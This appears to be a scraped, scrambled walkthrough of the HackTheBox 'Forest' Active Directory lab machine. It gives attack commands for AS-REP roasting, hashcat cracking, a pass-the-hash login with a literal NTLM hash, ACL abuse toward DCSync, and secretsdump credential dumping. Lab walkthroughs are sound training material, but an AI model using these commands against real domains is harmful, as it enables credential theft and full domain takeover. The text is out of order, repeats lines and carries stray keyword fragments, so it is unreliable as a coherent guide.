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GetNPUsers.py htb.local/ -userfile users.txt -format john -outputfile hashes.txt -dc-ip 10.10.10.161 Use code with caution. Step 2: Cracking the Hash
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d11f742207a973 Use code with caution.
hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
We can perform the ACL manipulation remotely using the dacledit.py script (part of impacket ). Because svc-alfresco is in Account Operators , it inherently has the right to add users and groups to the domain. We will use this to add a user we control to the Exchange Windows Permissions group. This will allow us to subsequently give ourselves DCSync permissions to the domain. However, the most direct route is to simply grant the svc-alfresco user the privilege using the following commands (executed from a Domain Controller perspective): forest hackthebox walkthrough best
The objective is to map the attack surface and identify the target as a .
With a list of valid usernames, test for accounts that do not require Kerberos pre-authentication. This attack is known as AS-REP Roasting. Executing the Attack
Mastering Active Directory: The Ultimate Forest HackTheBox Walkthrough Guide GetNPUsers
You now hold ultimate NT AUTHORITY\SYSTEM equivalence. Retrieve the final root flag located at C:\Users\Administrator\Desktop\root.txt . Share public link
Perform a Pass-the-Hash attack using evil-winrm to log in as the Domain Administrator:
This will generate a zip file of the domain data. We transfer it back to our Kali machine using download and import it into BloodHound. Once imported, we mark svc-alfresco as "Owned". BloodHound highlights a specific group nesting chain: Because svc-alfresco is in Account Operators , it
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
GetNPUsers returns "KDC_ERR_C_PRINCIPAL_UNKNOWN". Fix: Ensure /etc/hosts has forest.htb and htb.local mapped to the IP.
python3 secretsdump.py htb.local/attacker_admin:Password123!@ -just-dc Use code with caution.
HackTheBox (HTB) Forest is an excellent, beginner-friendly Windows machine that serves as a fundamental introduction to Active Directory (AD) hacking. This walkthrough guides you through the entire exploitation process, from initial enumeration to Domain Admin privilege escalation. 📌 Attack Overview Windows Difficulty: Easy
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